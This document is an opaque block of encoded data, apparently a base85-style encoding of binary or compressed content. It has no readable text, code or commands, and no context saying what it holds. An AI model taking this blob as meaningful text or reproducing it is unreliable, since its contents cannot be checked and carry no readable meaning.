zog2mJci~k?VJ2qwMAMP;{ODI@xygBct0U!1d6|h+)pHLy@2?EAq~s>&S;)D$6e4+a zKC0yO-)K+orya~UL^#b;oQZOlPx9nELV9mTZu0m3Qp_$g@>P-i%6K{}WBlq!{$+gh zd?c@o80p<@xygB_^j~qBFQ{hf zs(E8-hOpvM|B>@`qW&y7{a5MH{GF9^#(R5c@;=4MlGpk`{* z+-I8K8EubpeyN&~P4P5uQ5}sq&EKK_a+C8Sjq$R*MdOKI7V$qhf0X{qP0lN(ck&dc z<3;^P&NHO{DxQvSw5Rl={eheZ8qJTKr%eClCg&;B`*}uAp>k96@@VY=+7wqUUUAhT zLI?QI#V#A1%sh9yY!4sE()F4|zGwg_kjMe%ztgLm9pv{(d-n8E(9O z%K4z`=ro^?{8ir>7fr?*DrCg+*EBlRQaq00Zp@-c=R&sWY1zar9}J>Q7`36Xnul z6<6&|@`^})B&YYI!oO`Ga@RgbEAPU<&lqyCOI)gvgsRxMn$WYr>7&8Z$86|FuqKY(0I8@c-EZ zw2hI!$fBx$K~XhGxJirtVU^Oq>QC)|IG_H0VSlLw(2+9mr;bQ0s$0chIMET&BkljX zvyEC=u^#Qge+RE@>)9AtclDO7x88QU_m0Q{vOm7>C-*<#Yly5P+uqUH)!p-8WI5TN z?SA6Prvgt$R+W8e&o5qnCHQJ&aoIQbzxDPzq39B`AAS7Er@sqF7n=R@tFOQL7E8-U z*3Y%1j7qhprH{_Y)R(^(?JIrX%;j?z_X zCEPVtm#tmrzPwtkh$~Hxx%Rs2Z}^`+|NrUZ|F_G3-h8z(@ehj5TC&u6 zHons%S16X{|K0KbE6V@B>we#TdViJsiQ}d$UovkA*882ZcnLkaB&6TakDGF~9=-r? zjL^F@=iohvsR*A3QFG6rM(%G(|66W7f0WO&zi*maQmjZSOA|@2#k(h)O~RaS)fZAe z1K|CsNlc~$p)0P%n?!t`$*$ptqKvXckx`r=GVF*(j8;%efB2L<$FNbKYCct);{r))#8`#r?Ywnna>3-Xeb7w^_m z<3(y&f=C5V%}ZvU2yPas%M?!nM;LJ`2gD^U!@fpcPsgxdW`fAn(nVr8As82kahdQu zS}(Ujs|e(vt}y{7KzY;4GE3(_MA%*xR+A=(?|=;PIgI3#Mr0opzcF1^9@>ONF`?!P zF+p1^Mujb*q@XzvPkF%v0c+U?)MJfsVe(8jr0{35T#Z~yiV;cA#D`+-*e5++q#sBU z$u;RBw%96qrU~&lq>lE>K;7<57O8y}VTPYj_&1R4oaRVw+*j5C_RU8*SEGy*V??4h zPMB~^&0!V})XlUSv#`O3;8QN$Kkxwfkh;s#MAkD{zdPF`612%8RHlhA%0;(tME;c@ z&4O=0Vt>hgWZ+u5S)>;yi*)2AJr5=3PIl@0^_hhajr5rLSUO}k_M@~06Lr20VOuE- z$D(*6H|`_z3m++lZ^75}G;nS%hY(Lf_D0f8(D}0n8{~8;-pGynWMi^L653PJws;qv zGfeqhQ$zq0gJLlmXvPyVe?}hh-@JI|Wb);j1QAyjFWieT-xX5E`xv=w&uG)e_Ke9Z z$!H(Rc?ls|#%AHg?=!uS4oXAsJCJs9ydL%f#c|qXW8}vDBIQMG5#^<2CyDHuWRYD4 z#PPE8GQ*=oX#xG1C{r8!`VmORlk!}RTpO1p#?>T>ab;#P4tXDkavzsBCZtWYh>1vZ zBGQ~#oG2#ZSQGQcg|k9q0@4@Y2RIgdAr$e217_hV#`h4;5n?kR%gAM#DM%A(!y&4U>$_ zd9iNlZ6?o(7qf6KNocR+r&c^>m;}jxips_W#e8rWw~f%HLhQuDGSxN?;=0erivT7m zXIzLm{y%4*GVtuB31Vr@xtc|DYH>m2#Evy(;ghZ;_$2jpgG)7Exeym#3?HDpWW|fD z14}e(-wMrKe2zxpwUE7fKBZlhn}vX_KpFz}0`>=`1;00Pjq;nX$+iH$7A}0_1EQZB z`Q)Hk#KGq&>lvuhjzDZOeiCm?oM-A?UU)cc_0Djin>7i3*gwJ z@Q7=G_cd}YRqqGFiJ^o*oIBPPacna`w!Q$s1i`HLP zqkJ?>pv%z4iWIlSK6#QwOgfMzG6vIyb?<1DRR*q+nYf0I5k5>T_AHl) zf$Kh36OVo-PK+*&6{Evx(g*TmgySZxF9>n*enzfg;$mVRMl@9RSxIQSDDy#0r0zB0 z`Vpg-pL>%K_e1J=e~y zDNaZ`BRB4gn{0g?qVnUr8T}Tdj`uZkEjga9f#Ha6(s2hZI4<(khi?!eKPN&S=6#J^ z!vv`b)!E^(q0GQ&ce;yOnSRW@3Bq}Y5T8K8yq}TFzT=>4g-hlY z*V5xedgCZ}ip%0mrt%wW7Gu#4)6pj;?M>A4>$wf{VIVHv-^jTwh7yA#+Twvx!gY%f zeGnh-XXM#aaSSb2B&$}8W7GA)rXde>{VF>W?cyjAybJeAccUNRG>kkOlS7lW6GUv- zWT$ivTE`$#ywt`i}OVoX`OcuzQyvqEDIyoGUG8; z&lKujWO7@UXd5tzANR+ID|=%_g+ET5Umq`u>Jr4vT8uL)a6LVcAuMGRkamuU%^xqk z_X_beq>9rw^6aCN#n}AE#8|CM9DK*a*Ty*X7nx>}S%ba=M$Oh``t41Fp3F@1c3en7v6f&Zosros=$h)_2!y*=>% zep!|WbBrfoD_|=|*vc^i+Wj`%BkI>43tf9cbdRf_^8xe+xK@U{P~JF3Kc{cx+4f|d zTedby8>Jo2XDToh();3Nabdb1Odb<2#?-`NOcRU#&mvq832`4}>Wl0L2CiA+g(c4% ziVwSdUtDLX@3cOFvFVejZ{F9)<(M4TVfbj|9tJ*Y$2Djdq@MRN@)6_c=sgws z8v8T23`6#){R~{Q#tG{xzGroze#V={c=(ilo;W7?Q+N-)mG%pa>3A$^8;9p~tI6=ST|@Exj`q;D9xHWBwK`M7UM z*Y8(?83BEq=9J;1)V)zOT<^EgXO*GP%11wnek*&rMdXx?7CFV~A}2phv9qF2kjI?` zyJKMod+o?W?C4q~?M{W=9N5iwNj>cH0*L=cNFYw zhuDQ9Wr{K{J_2@=VK?p&y8!GoJ?|+Z2mMYC+LbZyvcE7qU!!|?Tnn;s|EZ65f};az zZmUZx%@(CY=yL`%aW4A9xxF#s6o0HZp*~L7>f*)t+5|Bco!)4Sn@8toh|zeqW^v=# z8F;q%uHLr?c_d<|XKjgx@yo)?=vPTRqd_6O10h|ffNcS-CYyCdPJ=&%07GI!=%$1tB7vTdA7$ zO+O#~xrqhOP4MglzLmX9e{K?_bm)w(t})Z< z*eS;6FBRjpGet%?JrudFBTIUI(oOd4S$JMk^D{hWc^rM#PsK#-QDH^hQy=4_F_nIN z^q=sz4ES5dGOIfcFFK7zUybJ~Zgu|m)oS8J$QhjfH=(Crg=ZGb(+qW|_POS2P22=g z`}_#{(~!tMwiIFOn9`Ig6DbiSy>9|9QBSqMX&ej%#a+L zU?ur#j7?~~UCsBCx{sh;Vl0+joB;cHdcGD)v&IW+O@gq3Tk|X-Rp&3?s)^r0wsXD{ zN0brO^C!1qTz@-!3pRvl`Z3^txJT97KR>@yX+95|tzJ!pRGP8!_W%{2eTOC{Kqzg( zv@|pB7csV5rnmn9?(HLO@zHIXIQ33V9N@HM9pX6y+Mi0V?H;66kGh^iH37e-{0*Y4 zY7BWqTT%Ac+^dPaA4Toe?-be7lEj$eG%*IhiHxaE4_iZ{0`#nq{E()>XHUoT#+rxG zXFMdvX+0vDebh}pI--2FL=)X#+tcXY5#^+QhfsMq_kK|dvAf; z7@_H70E`1ruUV+ath@}jM)&UUp)B}N7JLX{dMnfDJ`l$pTMR@y8JjoSt)J&6Zg`flf8QOc#JW%G@a&E9icx8$rNyKElSEn`Jt0ks)cwEpYT_lxLRGJHEx>gNV-tE# z6ENCd_ESwf0J%Vw=ZVQ;TK?rR)3l3Y4ma+$@r%uRKSp(gYhEhS)_=Fq{W}f*ZABYO zg^!OC*}F1BvW`knM@tS{M=q+P1p3Y5$GUIpX;WEoKbt)fRmXwd36pB9uuFvLw_s(PfIo${k!^W?pO^4SN5G|>vFR(Ya!y$a_?_uVL~ zOr)2&E6ttuXX@#yk2KKc(Cc!_H z4`Ngh@tZ@(29Y*?)F0qCkegLr^*Tje;yRX%>sU6*F?$>O(L_xo(mBw%qywovq5QIz z>Fp>edw?XTyar*e2>e0+&2ty7fqL6cMIGQ?a~JAhYSIZ~j!!#e6hrxS;XJfaCNU~6 z$^KpbekJ;hA48PC%Q{aJ)?K*g#Pd$}kx0Mybh1h8gD4-#o{8s^HJP}l&JdIG)5WA+ zkuiy0W+haX$I!TRqR7EG{c!D~K4LQ&Hd%+Y>7jEO(XSnJeXGXxErZ4k7%SkKm4UXM zQH^W%_$2t91>*sX4f4i@Gee_;X#sitrnd6ZOq2K;67h|kM3K`d$2h40Jb`s3+mqnS zwCQb2@3(O6#IuA%3sG@1H*W9vMJK+Vg8P)W32wv+WU# z1&qav7c*YX=w+;Dj2^~~?=6(qT(nyMaK}Z}WYgtRIbGX zU=?}^_My-#=u;sh;?#HIVU5qXUsk%d4C!7{iLXyo(?nJkR#qMfg(ZDi1fbGaN3AZ! z9)G(n_(rshEpMBI%V84sx1wPWBP=lAB(-=z_FJ`P^{D$)%W_*|N zQO3QDe#YVV51!{Oo4@IpcoDPZ_^pj1S3lG8m6!oWoeexRSA&v5wKl*vq(w zaftDcjOO3S<76>TWjuxPOvVyM4`V%J8)Ja+4aP8I(z`PKsf?#F7Bf~bZeqNfaTnwB zjBhZ0z<7Ys#N}&Yv@zx~p2AqfcrN2A#)iY? z7IBSfdHLEh{$|TO-2H2d*Q>al_@>DEn(B2|alnVB`W6t7l8!ezO`P5XdswzheKEH(DpALyZw#9qMM^$+Zor3s) zb@`bXA%3o((_$om_c(C;DttUf#eGR}k|1|yEL_Z4(ZuRfxBM*8f>JlW?!up@nI~c> zh6=74->bnVg4VCDuGH%b`_DUf@q&3ybv8$f%T`xX(cvWMaxqV=SiIz{v-ApiIA&RC z<$8QciYpuMAZUiKEQuoW82XmYys|P}y--_oQM;vO{1v7}wK&>7Q(<|jTh{&Sx-P5! z4P9SWF4AiS}i_9T1aEW$Fzi)9aB_Zdd0|( zYzbkCS-gH>`Kk?#4Yp-DkF+7zRF!L zJ~Dmh7sBSPEnDucT)SZ12IToQ_PmiNeyPk)X?4v8H+{Bfg~&cM7pT$Jn6o#OS6}5U zuhu_~wRUy6o-S(R1w);2si4w4db;`tu;}|$^VaJ*h9-VP_KVhDQCYoi?PVxV`BAF% zIMYjXKRaBMElyQn@w!N@iYzK?ZUYO}p;~Ke#3TwUTDNY^2KVV3*2*uXt*yZajKq-? zb8aP0w3I7Ih<9VZvvU*AA9`Nm<=Eo#>dPwE;)`8;szSUTTO9ee+b>DS>B;Z8{fZbW zPqMwl^d>PeTEfx|aPEQFwVIlf4T(G|Y0ZTOxUVrRt^MZYu#?$-T4|JoV(D?&DqKU2=QIis0~?G$Ec z701g~fl8&^t`KDuZ*YurORFnO(eu(e?E07ExH;XPaD#kE%h#HE+? zhwPR!Vj!lce;$yIjT>=2{xYBq;)dY07X7Vn$}61*<;Me|Ja1&&1f=*IArz0Poq9T$ z-l%`s^?v3JK+0b;gpSt&q5M1sp>ui}Lh<_`6rY7cq4H8?ra`CpZ?OS%B;7-q`5SI3 zeU&5~*SL-3#yHYP#*gIR*Z%wN|MyORWPV2Sk;nhP%D2BG#{+*W)J(C|Jw&!xMN&or=eUG!zL7x4_58tqfi{7~Ojl2=o=wDtRcsukt<_ur2_B_Po zdj?p)bCU_#zH|GY2l~63JHPpVd*AbrOnvwJ*3$I5Uzj~4sei73?{pI$t$(MR*#0@n z;h)PfVryl4u`;SUTA&ohtgED54x^26Dq}9=3`RR+KI0t5LPjT}i?NEamT@y<9phF; zFXMK`ddB-0eT>bFe#Q>Q9>!kA0OKCUy^JdT{mcg$KV}?eG+)i-$7o}m!DweJU@T;G zF{<%_n|Upxhp~>)%UI9oWArojGWIhLFoqe;*T{TkG1?gm7#)m-j84W9Mi*lRqnojo z(Zg8B=wS}s`Lk#4>1lin$`C|810OOj4K(-7~PC@j6IC~Dn91m=MAddN4WW4 zq+W4wIwN=ZpNgmR`E%zKjy-(7?GH-72s|Ru@t8#4UpUW^=dC#9f$l@T;rkF3ek>Fc zm5&hTrzS_{>%WUP@HWWl)^fVv7gc%WJtWH^pAiqPh4$6A-_m^~-G4bC-(pPX0dB;( z(mgE=Ky8p4Aawq;LH(!LMl9!Z2sMq^Vt6~`Cj|9^HMvp7Hpd{&~A^T64}(C*S%fcj(&ryWhI)?azPmbqW9RKDkhJ4Ws7@@2o*bb3npSj&cuTQ*$r zV&PdO^9Nh*JbCsBy}LeHepbu-7oPgug|lzDf7|)rUbr*dU<(xQ*m_dwt6$%8{w)L3 zF8ue;-@K&luHpYY>Z!*53*YjrEqd|C_tGzu5DOJ#zbU?&YT@?Q3$= zzu~#(m(6}>>8EMtSzTC1W3Z_4jjwsZ%zeG5(B>=UP6U>)82dWmR|F z6DMu?XzuZ+?w)`3`@h`&)UQ6A`^?v0zg)UG?aDpvgL7vUUGST;`kvf=*9R}o-PX5! z_J)PO$awNc-E-f*O?;&bX&ne7$e>{<;$L_y>pH+p;re_Vb$;%};pr z-VGYlsEG}UF<#oe%6a1vSxbIUzUu26Z|{!ZeqGw& z%(owS`L+Jow{{NbPf%Xw-(}95E`Kjr!+0Iz?TihK4>3N+NOkmQH;kUuS~7&MK<@jg zNyoRK_duuL)-v!gC;;6Cd>qmboql`k#>1uk&;!8NAqSv`fHwR#_Z4*djZUp4L-;Dh z^0-OIUqiP+r{D6_8Zv~F(Ww<6obYH!5p+AS0`3GjHiWN2_CP269I_v} z?I@IaF5cOO9s=ecjeJ6P0RIRv?>6bbjh=Q4o*6>NZ+rs&B&I@t19;pXnJYt4i zufYyn#<~l5+Dw!`Y#hM5A#@Los-blY)QcLhTB zA>iwHtl-BxaUtMS#|zwAsaWa0YYi^0IN>p zaNvWi8`pTDwO>{^Q18ey;f0W5=q})s5L$DF@L340HAA>+9?k(e;f)Xr>6E58!xbQ zkt{3YIyAIC&Gggp+!^^Htbo)(cLSe+P&y&tm_k`!cHoT=Ds$r+Gsg92XdRlo#qejO zLwFKo5ISK61qXnmHqAl9c$I!-KtZ$q~M)tWDar$PqcV}#d3 zK8EfAu3m!UL3aaBT`K+10UYC$;l_1sXuX?dXX9OI*b{DrIG}rhXW}9LZs<;65+3A} zZd?b3)`PJX!=Ca6EP6=X6CvVhToZxsL9(D5*Oj@`9bI#V)}9%H^y0XLpFs9NCme?Chi+Um zh1O1)Ta9%Dp254Az$K75(2eWC&^j?sK-@Sk;Zu;!(2Z-h&{{69*WlO)CwvDIi*$@@ z!q8eVomZgWfDPfpkbX)Bn0O`o5>TyYL---205*hwf)qigmp*=SHT(qW8`n{x^;J5q z!}%hd@CnEP=mFpxHy}UHqTD<}`~gD#LqArjbzzKazt9>mFGAedmvBF%4m#nwP4H*v z#L|@E(Y0P^&6oUt!?g$Dg!3Ry=uY7HI$54J;9WOM-MEGct!)y5cyV09cOlKt z!@zTIk=HdBun$7(dl0_06?F!k@MB0n^f2(=TV)$Jt~)~Ok+^PyFTsYe2I7S70jjk| z2fN~B2Cc(U`V_`_up!(Cse|qX9u<&j+JU3BQz z&Cm&d2H6fh0Q_hV`cUY`H9Kf6kFl?y-$OXzG)O*llnu%&xBV)DxiCSpFpUN!oVE^CxOpCIVDANfUWD|a ze+9gAsU~tUKE#|k6e!-eq-!)#oQ=F9+yYz-se)bvG%b^5VgtsmK>7$L+y|ku9RPNg z$aH#uRp&{a@TK!LaV_lk028sE1KC@EGq9e+eF!JK3_^Ku1GlhV2YmTLP46dzz&}FB z#{5G~JO-iuvk#bhkqoy27eM+Dz7TjFgly`8GfOqGANm~NUI>K~#;$^Y;NH*zyc|O5 z*8q30p0yg~fpe}HZSJ`d@G9s-_m8T zdvFf0uL2%fkMo3{3*7u8P1Haq%=-!I0D3-f4P=voCd*_Ya5LmS*lYzR_sVb^ z@K2Dbupb8Q`zi7aeE^v8H1Y{O2Y4NX&dUodcn19m!i#~YKa0FUcLJC8X;{+@I`9Js z`NI$}4#fCBKsT zW}tJQ)Cs*1@(sdoevNXV@_a)RN9>pW&<{NIEz}pn9l%Bi`Ft~Q!rQ28JR8ghJ`SP$ z?*^XxjYU?bi~ zKM5&;UJv~G1Dpeee~5ktvLF36;hPXjXFu@VA@3p{JAXLsl;F+JuG>d@Gv)&Ip<5L-42>j9SG+{$N zcLT-m;WMLdJ*t;6VgV#dx7;aCs*meNNZJ*PDtxikxoc!P?1hZYcr8f zNb53@PDpDlkxsasb;1W(r}c_x4I;83Jit0(`WzWfNNezr4I!<)K{_F=LqR%WHS2^o zvrb5BZ;%b)Zq{*!^{-8pfCFnaKzB41HaVM0n%qsbO`awMI5GA_7vS`j_*}jUpW9dK z^Z4p~USGY>=kxn|e7(MauiqE+4fsO7Az#=x>=O;<25UoBgRLRA!QN2N;Akjpa5j`Q zxEd-N+zqu2o`$*xZ$o{9ufgBY)6m-xXy|VUHVia`8ipFe4Z{th(cEZl%xbhX<~G_J z3mP4bg^kX}l15i!MWeg1w$amA*XV7mZ}c_#8+#gi8v~8~jlsr&#t>$qb-2~shLS}ejdRo1$zSf@BKx?oy)EaITZPqqho4w7^ z=4^Adx!XK#-Zo!bPg|fZ*cNIFw~2OZyRF^c?r3+myV~9Do_24$uf3-|&>n0LwTIh9 zhqc4jVefEsI6GV&?ha3fx5L-b(-G(hc7!^@9ir3PY3sCiIy#-5u1+I3+q&)Dj&5hStJ~e} z>GpQ}x_i0<-NEiqceopc;)Q?V(jt6TpUr3YIebp|nHxUlg@5(Hw}SAiFnr1if3m}u zobV$ze8>y`>4EPA;WuIUj1~T3hp#x{CvNzN7yi)$-w47l!te}&364m1awL(So4vBSEvq=f^zZE5*}rpO=g`jKo#vLT zmfV(tmco{jmWr0zmb#Yu7C*e9zh$6hsAagt?9cM&`V0Jp{t|zMzt&&(y}c}}Ew`